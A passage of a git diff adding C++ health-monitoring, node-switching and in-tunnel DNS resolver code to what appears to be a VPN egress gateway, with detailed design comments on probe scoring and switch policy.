HealthMonitor::stop() { + if (!running_.exchange(false, std::memory_order_acq_rel)) return; + asio::post(strand_, [this] { + timer_.cancel(); + probe_timer_.cancel(); + }); +} + +void HealthMonitor::probe_now() { + asio::post(strand_, [this] { + if (!running_.load(std::memory_order_acquire)) return; + timer_.cancel(); + run_round(); + }); +} + +void HealthMonitor::arm() { + if (!running_.load(std::memory_order_acquire)) return; + timer_.expires_after(cfg_.interval); + timer_.async_wait([this](const std::error_code &ec) { + // A cancel means probe_now() took over the round; it re-arms itself. + if (ec) return; + run_round(); + }); +} + +void HealthMonitor::run_round() { + if (!running_.load(std::memory_order_acquire)) return; + if (probe_in_flight_) { + // The previous probe has not come back. Do not stack a second one -- that + // would measure queueing, not the tunnel. + arm(); + return; + } + + egress::EgressPtr eg = acquire_ ? acquire_() : nullptr; + if (!eg) { + Sample s; + s.at = Clock::now(); + s.verdict = "no egress available"; + publish(std::move(s)); + arm(); + return; + } + + const auto state = eg->state(); + if (state != egress::EgressState::Ready) { + // The veto. Probing a tunnel that is down measures the timeout, and the + // answer is already known. + Sample s; + s.at = Clock::now(); + s.egress_present = true; + s.egress_label = eg->label(); + s.verdict = fmt::format("egress is {}{}{}", + egress::egress_state_name(state), + eg->detail().empty() ? "" : ": ", eg->detail()); + publish(std::move(s)); + arm(); + return; + } + + // A literal in `probe_domain` is normalised here so the egress is not asked + // to resolve something that is already an address. + const auto literal = IpAddress::parse(cfg_.probe_domain); + const Endpoint target = literal + ? Endpoint(*literal, cfg_.probe_port) + : Endpoint(cfg_.probe_domain, cfg_.probe_port); + + probe_in_flight_ = true; + const auto t0 = Clock::now(); + // `done` closes the race between the egress's own timeout and ours. Both + // fire on this strand, so a plain bool is enough -- but exactly one of them + // may publish, or the round is counted twice. + auto done = std::make_shared(false); + + // A guard, not the real deadline: the egress is given `probe_timeout` and is + // expected to honour it. This only catches a backend that loses a handler + // altogether, which would otherwise wedge the monitor forever. + probe_timer_.expires_after(cfg_.probe_timeout + std::chrono::seconds(2)); + probe_timer_.async_wait([this, done, eg](const std::error_code &ec) { + if (ec || *done) return; + *done = true; + LOG_WARN(kMod, "probe to {} never completed; treating as failed", + cfg_.probe_domain); + finish_probe(eg, -1.0, false, "probe abandoned"); + }); + + eg->async_connect_tcp( + strand_, target, cfg_.probe_timeout, + [this, done, eg, t0](const std::error_code &ec, + netstack::TcpStreamPtr stream) { + if (*done) { + if (stream) stream->close(); + return; + } + *done = true; + probe_timer_.cancel(); + + const double rtt = + std::chrono::duration(Clock::now() - t0) + .count(); + // The handshake *is* the measurement; there is nothing to say to the + // far end, so the stream goes straight back. + if (stream) stream->close(); + finish_probe(eg, ec ? -1.0 : rtt, !ec, ec ? ec.message() : ""); + }); +} + +void HealthMonitor::update_stall(const egress::EgressStats &st, Sample *out) { + const uint64_t moved = st.tun_bytes_in + st.tun_bytes_out + + st.transport_bytes_in + st.transport_bytes_out; + if (moved != 0) traffic_ever_seen_ = true; + + // A different egress means a fresh baseline; carrying the old one over would + // report the new tunnel as stalled from the moment it was promoted. + if (st.node_id != stall_label_) { + stall_label_ = st.node_id; + stall_bytes_ = moved; + stall_since_ = Clock::now(); + traffic_ever_seen_ = moved != 0; + } + + // No byte accounting at all (the direct egress keeps none): the signal is + // unavailable, which is not the same as bad. Leave stall_known false and let + // the scorer renormalise around it. + if (!traffic_ever_seen_) return; + out->stall_known = true; + + if (moved != stall_bytes_) { + stall_bytes_ = moved; + stall_since_ = Clock::now(); + return; + } + // Idle is not stalled. With nothing in flight there is nothing to stall. + if (st.tcp_active <= 0 && st.udp_active <= 0) { + stall_since_ = Clock::now(); + return; + } + out->stalled_ms = std::chrono::duration_cast( + Clock::now() - stall_since_) + .count(); +} + +void HealthMonitor::finish_probe(egress::EgressPtr eg, double rtt_ms, bool ok, + const std::string &probe_note) { + probe_in_flight_ = false; + if (!ok) m_probe_failed()->inc(); + + const auto st = eg->stats(); + + Sample s; + s.at = Clock::now(); + s.egress_present = true; + s.egress_label = eg->label(); + s.tunnel_up = true; + s.probe_ok = ok; + s.rtt_ms = rtt_ms; + s.connect_failure_rate = st.connect_failure_rate(); + + const uint64_t tx_total = st.tx_packets + st.tx_dropped; + const uint64_t rx_total = st.rx_packets + st.rx_dropped + st.rx_malformed; + const double tx_loss = + tx_total == 0 ? 0.0 : static_cast(st.tx_dropped) / tx_total; + const double rx_loss = + rx_total == 0 + ? 0.0 + : static_cast(st.rx_dropped + st.rx_malformed) / rx_total; + s.loss_rate = std::max(tx_loss, rx_loss); + + update_stall(st, &s); + + // ---- score --------------------------------------------------------------- + // Terms whose input is missing are dropped and the rest renormalised, so an + // unavailable signal never reads as a failing one. + double weighted = 0.0, weight = 0.0; + + const double rtt_term = ok ? clamp01(1.0 - rtt_ms / kRttFloorMs) : 0.0; + weighted += kWRtt * rtt_term; + weight += kWRtt; + + const double connect_term = clamp01(1.0 - s.connect_failure_rate); + weighted += kWConnect * connect_term; + weight += kWConnect; + + if (s.stall_known) { + const double frac = + cfg_.stall_threshold.count() <= 0 + ? 0.0 + : static_cast(s.stalled_ms) / cfg_.stall_threshold.count(); + weighted += kWStall * clamp01(1.0 - frac); + weight += kWStall; + } + + // Loss counters only exist behind the netstack; zeros from a direct egress + // are genuine zeros, so this term is always available. + weighted += kWLoss * clamp01(1.0 - s.loss_rate * 4.0); // 25% loss => zero + weight += kWLoss; + + s.score = weight > 0.0 ? weighted / weight : 0.0; + + // Two hard rules that override the blend. A failed probe means no traffic is + // getting through at all, and a connect failure rate past the configured + // ceiling means sessions are already failing -- neither should be able to be + // averaged back into "fine" by a healthy-looking loss counter. + if (!ok) { + s.score = std::min(s.score, cfg_.min_score / 2.0); + s.verdict = "probe failed" + (probe_note.empty() ? "" : ": " + probe_note); + } else if (s.connect_failure_rate > cfg_.max_connect_failure_rate) { + s.score = std::min(s.score, cfg_.min_score / 2.0); + s.verdict = fmt::format("connect failure rate {:.0f}% over ceiling {:.0f}%", + s.connect_failure_rate * 100.0, + cfg_.max_connect_failure_rate * 100.0); + } else if (s.stall_known && s.stalled_ms >= cfg_.stall_threshold.count()) { + s.verdict = fmt::format("no byte progress for {}ms with {} live stream(s)", + s.stalled_ms, st.tcp_active + st.udp_active); + } else { + s.verdict = fmt::format("rtt {:.0f}ms, connect ok {:.0f}%, loss {:.1f}%", + rtt_ms, (1.0 - s.connect_failure_rate) * 100.0, + s.loss_rate * 100.0); + } + + publish(std::move(s)); + arm(); +} + +void HealthMonitor::publish(Sample s) { + s.healthy = s.score >= cfg_.min_score; + + int bad = 0; + uint64_t round = 0; + { + std::lock_guard lk(mu_); + rounds_++; + round = rounds_; + consecutive_bad_ = s.healthy ? 0 : consecutive_bad_ + 1; + bad = consecutive_bad_; + history_.push_back(s); + if (history_.size() > kHistoryDepth) history_.pop_front(); + } + + m_rounds()->inc(); + g_score()->set(static_cast(s.score * 1000.0)); + g_rtt()->set(s.rtt_ms < 0 ? -1 : static_cast(s.rtt_ms)); + + if (s.healthy) { + LOG_DEBUG(kMod, "round {}: {} score {:.2f} -- {}", round, + s.egress_label.empty() ? "-" : s.egress_label, s.score, + s.verdict); + return; + } + + LOG_WARN(kMod, "round {}: {} score {:.2f} below {:.2f} ({}/{}) -- {}", round, + s.egress_label.empty() ? "-" : s.egress_label, s.score, + cfg_.min_score, bad, cfg_.unhealthy_windows, s.verdict); + + if (bad < cfg_.unhealthy_windows) return; + + // Sustained. Report once and reset the counter: the switch it triggers takes + // longer than one interval, and re-reporting every round would queue up + // switch requests for a decision that has already been made. + { + std::lock_guard lk(mu_); + consecutive_bad_ = 0; + } + m_unhealthy()->inc(); + const std::string why = + fmt::format("{} unhealthy for {} consecutive windows: {}", + s.egress_label.empty() ? "egress" : s.egress_label, + cfg_.unhealthy_windows, s.verdict); + LOG_ERROR(kMod, "{}", why); + if (on_unhealthy_) on_unhealthy_(why); +} + +Sample HealthMonitor::last() const { + std::lock_guard lk(mu_); + if (history_.empty()) return {}; + Sample s = history_.back(); + s.age_ms = + std::chrono::duration_cast(Clock::now() - s.at) + .count(); + return s; +} + +std::vector HealthMonitor::recent(size_t n) const { + std::vector out; + const auto now = Clock::now(); + std::lock_guard lk(mu_); + const size_t take = std::min(n, history_.size()); + out.reserve(take); + for (size_t i = history_.size() - take; i < history_.size(); ++i) { + Sample s = history_[i]; + s.age_ms = + std::chrono::duration_cast(now - s.at) + .count(); + out.push_back(std::move(s)); + } + return out; +} + +int HealthMonitor::consecutive_bad() const { + std::lock_guard lk(mu_); + return consecutive_bad_; +} + +uint64_t HealthMonitor::rounds() const { + std::lock_guard lk(mu_); + return rounds_; +} + +} // namespace ovg::health diff --git a/src/health/health_monitor.h b/src/health/health_monitor.h new file mode 100644 index 0000000..807de5a --- /dev/null +++ b/src/health/health_monitor.h @@ -0,0 +1,163 @@ +// L2 health checking: is the *current* egress still worth keeping? +// +// --------------------------------------------------------------------------- +// Two layers, and this is only the second +// --------------------------------------------------------------------------- +// L1 is openvpn3's own ping/ping-restart reconnect. It happens inside the +// session, the tun fd survives it (tunPersist), and lwIP never notices -- so it +// costs nothing and covers the overwhelming majority of transient trouble. Do +// not duplicate it here. +// +// L2 is "this node is not coming back, find another one". It is expensive: a +// switch drops every session that has already moved bytes. So the bar has to be +// high, and it has to be *sustained* -- `unhealthy_windows` consecutive bad +// samples, not one. A single 5s blip on a volunteer-run VPN in another country +// is normal weather (docs/ARCHITECTURE.md §7). +// +// --------------------------------------------------------------------------- +// Why the probe is a TCP handshake and not a DNS lookup +// --------------------------------------------------------------------------- +// The obvious in-tunnel RTT probe is a timed DNS query. It is also wrong: both +// resolvers we ship cache, so the second query onwards is answered from memory +// in ~0ms without a single byte crossing the tunnel. That reports a *dead* +// tunnel as the healthiest thing in the fleet -- the exact failure the monitor +// exists to catch. +// +// So the probe dials `probe_domain:probe_port` through the egress and drops the +// stream the moment it is up. A handshake cannot be served from a cache, it +// exercises the same path a real session uses, and its timing is a genuine +// round trip. The name lookup still happens inside it, so a broken in-tunnel +// resolver still shows up -- as a failed probe rather than a slow one. +// +// --------------------------------------------------------------------------- +// Scoring, and what happens when a signal is not available +// --------------------------------------------------------------------------- +// Four weighted terms in [0,1], plus one veto: +// +// veto egress absent or not Ready -> score 0, no probe attempted +// rtt probe latency, 0ms..1000ms -> 0.35 +// connect SOCKS5 CONNECT success rate -> 0.30 +// stall active sessions but no byte motion -> 0.20 +// loss netstack drop counters -> 0.15 +// +// The stall term needs byte counters the direct egress does not keep (it has no +// single aggregate to report, egress/egress.h). Rather than let a permanent +// zero read as a permanent stall, a term whose input is unavailable is dropped +// and the remaining weights are renormalised. A missing signal must not be +// scored as a bad one. +// +// --------------------------------------------------------------------------- +// Threading +// --------------------------------------------------------------------------- +// Everything runs on an internal strand. `last()`/`recent()` take a short mutex +// and are callable from the admin thread. The unhealthy handler is invoked on +// the strand; SwitchController forwards it straight to EgressManager, which has +// its own. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/strand_deleter.h" // ovg::Strand +#include "egress/egress.h" + +namespace ovg::health { + +using Clock = std::chrono::steady_clock; + +// One sampling round. Kept whole (rather than reduced to a bool) because "why +// did it decide that" is the only question anyone asks of a health check. +struct Sample { + int64_t age_ms = 0; // how long ago this was taken, filled in on read + std::string egress_label; + bool egress_present = false; + bool tunnel_up = false; + + double rtt_ms = -1.0; // -1 = probe did not complete + bool probe_ok = false; + double connect_failure_rate = 0.0; + int64_t stalled_ms = 0; // 0 = moving, or unmeasurable + bool stall_known = false; // false = egress keeps no byte counters + double loss_rate = 0.0; + + double score = 0.0; + bool healthy = false; + std::string verdict; // one line, human-first + + Clock::time_point at{}; +}; + +class HealthMonitor { + public: + // Returns the egress to sample, or null if there is none. Same seam as + // socks5::Server::EgressProvider, and for the same reason: the monitor is + // testable against a DirectEgress with no manager in sight. + using EgressProvider = std::function; + using UnhealthyHandler = std::function; + + HealthMonitor(asio::io_context &io, HealthConfig cfg, EgressProvider acquire); + ~HealthMonitor(); + + HealthMonitor(const HealthMonitor &) = delete; + HealthMonitor &operator=(const HealthMonitor &) = delete; + + // Fires once per *sustained* failure, not once per bad sample: after it fires + // the window counter resets, so a node that stays bad does not produce a + // switch request every `interval`. Set before start(). + void set_on_unhealthy(UnhealthyHandler h); + + void start(); + void stop(); + + // Runs a round now, off-schedule, and re-arms the timer from here. Used by + // the admin endpoint and by SwitchController right after a promotion, when + // waiting a full interval to learn whether the new node works is too slow. + void probe_now(); + + Sample last() const; + std::vector recent(size_t n) const; + int consecutive_bad() const; + uint64_t rounds() const; + + private: + void arm(); + void run_round(); + void finish_probe(egress::EgressPtr eg, double rtt_ms, bool ok, + const std::string &probe_note); + void publish(Sample s); + // Byte-motion bookkeeping, reset whenever the egress underneath changes. + void update_stall(const egress::EgressStats &st, Sample *out); + + asio::io_context &io_; + HealthConfig cfg_; + EgressProvider acquire_; + Strand strand_; + asio::steady_timer timer_; + asio::steady_timer probe_timer_; + + UnhealthyHandler on_unhealthy_; + std::atomic running_{false}; + + // Strand-only. + bool probe_in_flight_ = false; + std::string stall_label_; + uint64_t stall_bytes_ = 0; + Clock::time_point stall_since_{}; + bool traffic_ever_seen_ = false; + + mutable std::mutex mu_; + std::deque history_; + int consecutive_bad_ = 0; + uint64_t rounds_ = 0; +}; + +} // namespace ovg::health diff --git a/src/health/switch_controller.cpp b/src/health/switch_controller.cpp new file mode 100644 index 0000000..c791e07 --- /dev/null +++ b/src/health/switch_controller.cpp @@ -0,0 +1,215 @@ +#include "health/switch_controller.h" + +#include + +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::health { +namespace { + +constexpr const char *kMod = "switch"; + +// The tunnel-down watchdog runs faster than the health interval on purpose: an +// egress that has reported Down is not a scoring question, and the answer does +// not improve by waiting for three probe timeouts. +constexpr std::chrono::milliseconds kWatchdogInterval{3000}; + +metrics::Counter *m_requested() { + static auto *c = metrics::counter("ovg_switch_requests_total", + "Switches asked for by the controller"); + return c; +} +metrics::Counter *m_declined() { + static auto *c = + metrics::counter("ovg_switch_declined_total", + "Switch requests the egress manager refused"); + return c; +} + +} // namespace + +SwitchController::SwitchController(asio::io_context &io, const Config &cfg, + HealthMonitor &monitor, + egress::EgressManager &manager) + : io_(io), + cfg_(cfg), + monitor_(monitor), + manager_(manager), + strand_(asio::make_strand(io)), + watchdog_(strand_), + opportunistic_(strand_) {} + +SwitchController::~SwitchController() { stop(); } + +void SwitchController::start() { + if (running_.exchange(true, std::memory_order_acq_rel)) return; + + monitor_.set_on_unhealthy([this](const std::string &why) { + // Hop to our strand: the monitor calls this from its own, and every counter + // and timer here belongs to ours. + asio::post(strand_, [this, why] { + { + std::lock_guard lk(mu_); + stats_.unhealthy++; + } + ask(egress::SwitchReason::Unhealthy, why, false); + }); + }); + + asio::post(strand_, [this] { + arm_watchdog(); + arm_opportunistic(); + }); + + if (cfg_.switching.opportunistic_interval.count() > 0) { + LOG_INFO(kMod, "opportunistic scan every {}ms (margin {:.0f}%)", + cfg_.switching.opportunistic_interval.count(), + cfg_.switching.improvement_margin * 100.0); + } else { + LOG_INFO(kMod, "opportunistic scanning disabled; switching on degradation " + "only"); + } +} + +void SwitchController::stop() { + if (!running_.exchange(false, std::memory_order_acq_rel)) return; + asio::post(strand_, [this] { + watchdog_.cancel(); + opportunistic_.cancel(); + }); +} + +void SwitchController::arm_watchdog() { + if (!running_.load(std::memory_order_acquire)) return; + watchdog_.expires_after(kWatchdogInterval); + watchdog_.async_wait([this](const std::error_code &ec) { + if (ec) return; + check_tunnel(); + arm_watchdog(); + }); +} + +void SwitchController::check_tunnel() { + const auto st = manager_.status(); + + // Only interesting while nothing is already being done about it. During + // Selecting/Connecting/Promoting a replacement is on its way, and during a + // drain the *active* egress is the new one. + if (st.phase != egress::SwitchPhase::Idle && + st.phase != egress::SwitchPhase::Draining) { + return; + } + + const bool down = st.active_state == egress::EgressState::Down || + st.active_node.empty(); + if (!down) { + down_reported_ = false; + return; + } + if (down_reported_) return; + down_reported_ = true; + + { + std::lock_guard lk(mu_); + stats_.tunnel_down++; + } + ask(egress::SwitchReason::TunnelDown, + st.active_node.empty() + ? "no active egress" + : "active egress " + st.active_node + " is down" + + (st.active_detail.empty() ? "" : ": " + st.active_detail), + false); +} + +void SwitchController::arm_opportunistic() { + if (!running_.load(std::memory_order_acquire)) return; + const auto every = cfg_.switching.opportunistic_interval; + if (every.count() <= 0) return; + + opportunistic_.expires_after(every); + opportunistic_.async_wait([this](const std::error_code &ec) { + if (ec) return; + const auto st = manager_.status(); + // Only when everything is quiet. Chasing a better node while a switch is + // in flight is how you get two switches for one problem. + if (st.phase == egress::SwitchPhase::Idle) { + const auto sample = monitor_.last(); + // And only when the current node is actually healthy: if it is not, the + // unhealthy path owns the decision and has better reasons than "it has + // been a while". + if (sample.healthy) { + { + std::lock_guard lk(mu_); + stats_.opportunistic++; + } + ask(egress::SwitchReason::BetterCandidate, + "periodic scan for a better node", false); + } + } + arm_opportunistic(); + }); +} + +void SwitchController::note_promotion(const std::string &from, + const std::string &to) { + asio::post(strand_, [this, from, to] { + // A promotion is the one moment the health picture is guaranteed stale. + down_reported_ = false; + LOG_INFO(kMod, "promotion {} -> {}; re-probing health now", from, to); + monitor_.probe_now(); + }); +} + +bool SwitchController::force_switch(const std::string &why, + std::string *detail) { + { + std::lock_guard lk(mu_); + stats_.manual++; + } + LOG_INFO(kMod, "manual switch requested: {}", why); + // Not posted to the strand: the caller (admin) wants the accept/decline + // answer synchronously, and request_switch is thread-safe by contract. + const bool ok = + manager_.request_switch(egress::SwitchReason::Manual, true, detail); + { + std::lock_guard lk(mu_); + stats_.requested++; + if (!ok) stats_.declined++; + stats_.last_trigger = "manual: " + why; + } + m_requested()->inc(); + if (!ok) m_declined()->inc(); + return ok; +} + +void SwitchController::ask(egress::SwitchReason reason, const std::string &why, + bool force) { + LOG_WARN(kMod, "requesting a switch ({}): {}", + egress::switch_reason_name(reason), why); + std::string declined_why; + const bool ok = manager_.request_switch(reason, force, &declined_why); + { + std::lock_guard lk(mu_); + stats_.requested++; + if (!ok) stats_.declined++; + stats_.last_trigger = + std::string(egress::switch_reason_name(reason)) + ": " + why; + } + m_requested()->inc(); + if (!ok) { + m_declined()->inc(); + // Not an error: the manager refuses inside the anti-flap window and during + // backoff, which is exactly what those exist for. Say so plainly, with the + // actual reason, so nobody goes looking for a bug when the logs show a + // request with no switch after it. + LOG_INFO(kMod, "switch declined by the manager: {}", declined_why); + } +} + +SwitchController::Stats SwitchController::stats() const { + std::lock_guard lk(mu_); + return stats_; +} + +} // namespace ovg::health diff --git a/src/health/switch_controller.h b/src/health/switch_controller.h new file mode 100644 index 0000000..b0d18a7 --- /dev/null +++ b/src/health/switch_controller.h @@ -0,0 +1,116 @@ +// Turns health verdicts into switch requests. +// +// --------------------------------------------------------------------------- +// Why this is not part of either neighbour +// --------------------------------------------------------------------------- +// HealthMonitor answers "is this node still good?". EgressManager answers "how +// do I replace a node without dropping the world?". Neither should own the +// policy that connects them, because that policy is the part most likely to +// change: how long to wait after startup, whether to chase a better node while +// the current one is fine, what a tunnel that went Down on its own means. +// Keeping it here means those decisions are readable in one file instead of +// spread across a health check and a state machine. +// +// The mechanism it drives is deliberately thin. EgressManager::request_switch +// already enforces the anti-flap interval, the exponential backoff after a +// failed switch, and the "must beat the incumbent by improvement_margin" test. +// This class must not reimplement any of that -- it decides *whether to ask*, +// and asking is cheap and idempotent. +// +// --------------------------------------------------------------------------- +// What triggers a switch +// --------------------------------------------------------------------------- +// sustained unhealthy HealthMonitor fired after `unhealthy_windows` bad +// rounds -> request_switch(Unhealthy) +// tunnel gone the active egress reports Down without any help from +// the health score -> request_switch(TunnelDown). This +// is checked on its own short timer because a dead +// tunnel should not wait for a probe to time out three +// times to be noticed. +// opportunistic off by default (SwitchConfig::opportunistic_interval) +// -> request_switch(BetterCandidate), which the manager +// declines unless a candidate is genuinely better. +// +// After a promotion the monitor is nudged (probe_now) rather than left to its +// timer: the first question about a new node is whether it works at all, and +// waiting a full interval to ask is a slow way to find out we switched onto +// something worse. +#pragma once + +#include + +#include +#include +#include +#include + +#include "common/config.h" +#include "common/strand_deleter.h" +#include "egress/egress_manager.h" +#include "health/health_monitor.h" + +namespace ovg::health { + +class SwitchController { + public: + SwitchController(asio::io_context &io, const Config &cfg, + HealthMonitor &monitor, egress::EgressManager &manager); + ~SwitchController(); + + SwitchController(const SwitchController &) = delete; + SwitchController &operator=(const SwitchController &) = delete; + + // Subscribes to the monitor and starts the watchdog/opportunistic timers. + // Call before HealthMonitor::start() so no verdict is missed. + void start(); + void stop(); + + // The admin endpoint's POST /switch. Bypasses the anti-flap interval and the + // improvement margin; still refused while a switch is already running. On a + // refusal `detail` (optional) gets the manager's specific reason, which is the + // only thing that makes a 409 actionable. + bool force_switch(const std::string &why, std::string *detail = nullptr); + + // Called by whoever owns EgressManager::set_on_promote -- there is only one + // such hook and the SOCKS5 server needs it too, so app/ installs a handler + // that fans out and this is our half of it. Re-probes health immediately: the + // first thing worth knowing about a new node is whether it works at all, and + // waiting a full health interval to ask is a slow way to discover we moved + // onto something worse. + void note_promotion(const std::string &from, const std::string &to); + + struct Stats { + uint64_t requested = 0; // switches we asked for + uint64_t declined = 0; // ...that the manager refused + uint64_t unhealthy = 0; // triggered by a sustained bad score + uint64_t tunnel_down = 0; // triggered by the egress reporting Down + uint64_t opportunistic = 0; + uint64_t manual = 0; + std::string last_trigger = "-"; + }; + Stats stats() const; + + private: + void arm_watchdog(); + void check_tunnel(); + void arm_opportunistic(); + void ask(egress::SwitchReason reason, const std::string &why, bool force); + + asio::io_context &io_; + Config cfg_; + HealthMonitor &monitor_; + egress::EgressManager &manager_; + Strand strand_; + asio::steady_timer watchdog_; + asio::steady_timer opportunistic_; + std::atomic running_{false}; + + // Strand-only: stops a tunnel that stays Down from producing one request per + // watchdog tick while the switch it already asked for is still running. + bool down_reported_ = false; + + mutable std::mutex mu_; + Stats stats_; +}; + +} // namespace ovg::health diff --git a/src/netstack/dns_resolver.cpp b/src/netstack/dns_resolver.cpp new file mode 100644 index 0000000..e186b8e --- /dev/null +++ b/src/netstack/dns_resolver.cpp @@ -0,0 +1,609 @@ +#include "netstack/dns_resolver.h" + +#include +#include +#include + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::netstack { +namespace { + +constexpr const char *kMod = "dns"; + +constexpr uint16_t kPortDns = 53; +constexpr size_t kHeaderLen = 12; +constexpr uint16_t kTypeA = 1; +constexpr uint16_t kClassIn = 1; + +// UDP answers larger than this are truncated by definition (no EDNS0 means a +// 512-byte payload limit), but tunnels have been seen to deliver more, so the +// buffer is a full MTU rather than 512. +constexpr size_t kRxBuf = 1500; + +// Floor on a single server's share of the total budget. Below this, a server on +// a high-latency VPN node is being written off before it has had a chance to +// answer, and the failover is pure loss. +constexpr Millis kMinPerServer{700}; + +metrics::Counter *queries_total() { + static auto *c = metrics::counter("ovg_dns_queries_total", + "DNS queries sent through a tunnel"); + return c; +} +metrics::Counter *cache_hits_total() { + static auto *c = + metrics::counter("ovg_dns_cache_hits_total", "DNS lookups served from cache"); + return c; +} +metrics::Counter *failures_total() { + static auto *c = metrics::counter("ovg_dns_failures_total", + "DNS lookups that produced no address"); + return c; +} + +std::string lowercase(const std::string &s) { + std::string r = s; + std::transform(r.begin(), r.end(), r.begin(), [](unsigned char c) { + return static_cast(std::tolower(c)); + }); + return r; +} + +inline uint16_t rd16(const uint8_t *p) { + return static_cast((p[0] << 8) | p[1]); +} +inline uint32_t rd32(const uint8_t *p) { + return (static_cast(p[0]) << 24) | + (static_cast(p[1]) << 16) | + (static_cast(p[2]) << 8) | static_cast(p[3]); +} + +// Advances *pos past one wire-format name. Compression pointers are not +// followed -- a pointer terminates the name, and every name in a response we +// care about is one we are only skipping over. +bool skip_name(const uint8_t *d, size_t len, size_t *pos) { + size_t p = *pos; + for (int labels = 0; labels < 128; ++labels) { + if (p >= len) return false; + const uint8_t l = d[p]; + if ((l & 0xC0) == 0xC0) { + if (p + 1 >= len) return false; + *pos = p + 2; + return true; + } + if ((l & 0xC0) != 0) return false; // reserved label type + if (l == 0) { + *pos = p + 1; + return true; + } + p += 1u + l; + } + return false; +} + +} // namespace + +namespace dns { + +bool build_query(const std::string &name, uint16_t id, + std::vector *out) { + if (out == nullptr) return false; + + // A single trailing dot is the root label and is implied by the encoding. + std::string n = name; + if (!n.empty() && n.back() == '.') n.pop_back(); + if (n.empty() || n.size() > 253) return false; + + std::vector qname; + qname.reserve(n.size() + 2); + size_t start = 0; + while (start <= n.size()) { + const size_t dot = n.find('.', start); + const size_t end = (dot == std::string::npos) ? n.size() : dot; + const size_t label_len = end - start; + if (label_len == 0 || label_len > 63) return false; + qname.push_back(static_cast(label_len)); + qname.insert(qname.end(), n.begin() + static_cast(start), + n.begin() + static_cast(end)); + if (dot == std::string::npos) break; + start = dot + 1; + } + qname.push_back(0); + if (qname.size() > 255) return false; + + out->clear(); + out->reserve(kHeaderLen + qname.size() + 4); + out->push_back(static_cast(id >> 8)); + out->push_back(static_cast(id & 0xFF)); + out->push_back(0x01); // RD + out->push_back(0x00); + out->push_back(0x00); + out->push_back(0x01); // QDCOUNT = 1 + for (int i = 0; i < 6; ++i) out->push_back(0x00); // AN/NS/AR = 0 + out->insert(out->end(), qname.begin(), qname.end()); + out->push_back(0x00); + out->push_back(static_cast(kTypeA)); + out->push_back(0x00); + out->push_back(static_cast(kClassIn)); + return true; +} + +bool parse_response(const uint8_t *data, size_t len, ParseResult *out) { + if (data == nullptr || out == nullptr || len < kHeaderLen) return false; + + const uint16_t flags = rd16(data + 2); + if ((flags & 0x8000) == 0) return false; // a query, not a response + + out->id = rd16(data); + out->rcode = flags & 0x000F; + out->truncated = (flags & 0x0200) != 0; + out->addrs.clear(); + out->min_ttl = 0; + + const uint16_t qdcount = rd16(data + 4); + const uint16_t ancount = rd16(data + 6); + + size_t pos = kHeaderLen; + for (uint16_t i = 0; i < qdcount; ++i) { + if (!skip_name(data, len, &pos)) return false; + if (pos + 4 > len) return false; + pos += 4; // QTYPE + QCLASS + } + + bool have_ttl = false; + for (uint16_t i = 0; i < ancount; ++i) { + if (!skip_name(data, len, &pos)) return false; + if (pos + 10 > len) return false; + const uint16_t rtype = rd16(data + pos); + const uint16_t rclass = rd16(data + pos + 2); + const uint32_t ttl = rd32(data + pos + 4); + const uint16_t rdlen = rd16(data + pos + 8); + pos += 10; + if (pos + rdlen > len) return false; + + if (rtype == kTypeA && rclass == kClassIn && rdlen == 4) { + out->addrs.push_back(IpAddress::from_bytes_v4(data + pos)); + // The shortest TTL in the set governs the whole set: caching an address + // past its own TTL because a sibling record lived longer is how stale + // entries outlive a failover. + if (!have_ttl || ttl < out->min_ttl) { + out->min_ttl = ttl; + have_ttl = true; + } + } + // CNAMEs are skipped rather than chased: a resolver that answers a CNAME + // without the A record it points at is broken, and every real one inlines + // the whole chain. + pos += rdlen; + } + return true; +} + +} // namespace dns + +// --------------------------------------------------------------------------- +// DnsResolver +// --------------------------------------------------------------------------- + +std::shared_ptr DnsResolver::create(std::shared_ptr netif, + DnsConfig cfg) { + return std::shared_ptr( + new DnsResolver(std::move(netif), std::move(cfg))); +} + +DnsResolver::DnsResolver(std::shared_ptr netif, DnsConfig cfg) + : netif_(std::move(netif)), + cfg_(std::move(cfg)), + strand_(asio::make_strand(netif_->stack().io())), + rng_(std::random_device{}()) { + rx_buf_.resize(kRxBuf); + + auto add = [this](const IpAddress &a) { + if (!a.valid() || !a.is_v4()) return; + if (std::find(servers_.begin(), servers_.end(), a) != servers_.end()) return; + servers_.push_back(a); + }; + // Pushed servers first: they are inside the tunnel's own network and are the + // only ones guaranteed to be reachable from it. + for (const auto &a : netif_->dns_servers()) add(a); + for (const auto &s : cfg_.fallback_servers) { + if (auto a = IpAddress::parse(s)) add(*a); + } + + if (servers_.empty()) { + LOG_WARN(kMod, + "{}: no usable DNS server (node pushed none and no fallback " + "parsed); every lookup on this tunnel will fail", + netif_->label()); + } else { + std::string list; + for (const auto &a : servers_) { + if (!list.empty()) list += ", "; + list += a.to_string(); + } + LOG_DEBUG(kMod, "{}: resolver servers: {}", netif_->label(), list); + } +} + +DnsResolver::~DnsResolver() { + // The last reference is gone, so nothing else can be touching this object -- + // which is what makes it safe to answer the stragglers inline rather than + // posting to a strand that may never run again. + const auto ec = make_error_code(Error::Cancelled); + for (auto &[id, q] : by_id_) { + (void)id; + if (q->done) continue; + q->done = true; + for (auto &w : q->waiters) w(ec, {}); + } + by_id_.clear(); + by_name_.clear(); +} + +void DnsResolver::async_resolve(const std::string &host, Handler h) { + auto self = shared_from_this(); + asio::post(strand_, [self, host, h = std::move(h)]() mutable { + self->start(host, std::move(h)); + }); +} + +void DnsResolver::start(const std::string &host, Handler h) { + // A literal needs no server, no socket and no cache entry. SOCKS5 clients + // send these constantly (anything that resolved on its own), so short- + // circuiting here is not a micro-optimization. + if (auto lit = IpAddress::parse(host)) { + std::vector one{*lit}; + asio::post(strand_, [h = std::move(h), one]() mutable { + h(std::error_code{}, std::move(one)); + }); + return; + } + + const std::string name = lowercase(host); + + std::vector cached; + if (cache_get(name, &cached)) { + { + std::lock_guard lk(stats_mu_); + stats_.cache_hits++; + } + cache_hits_total()->inc(); + asio::post(strand_, [h = std::move(h), cached]() mutable { + h(std::error_code{}, std::move(cached)); + }); + return; + } + + // Two SOCKS5 sessions opening the same site at once should cost one query, + // not two -- and with 1000 concurrent connections that ratio matters. + if (auto it = by_name_.find(name); it != by_name_.end()) { + it->second->waiters.push_back(std::move(h)); + std::lock_guard lk(stats_mu_); + stats_.coalesced++; + return; + } + + auto q = 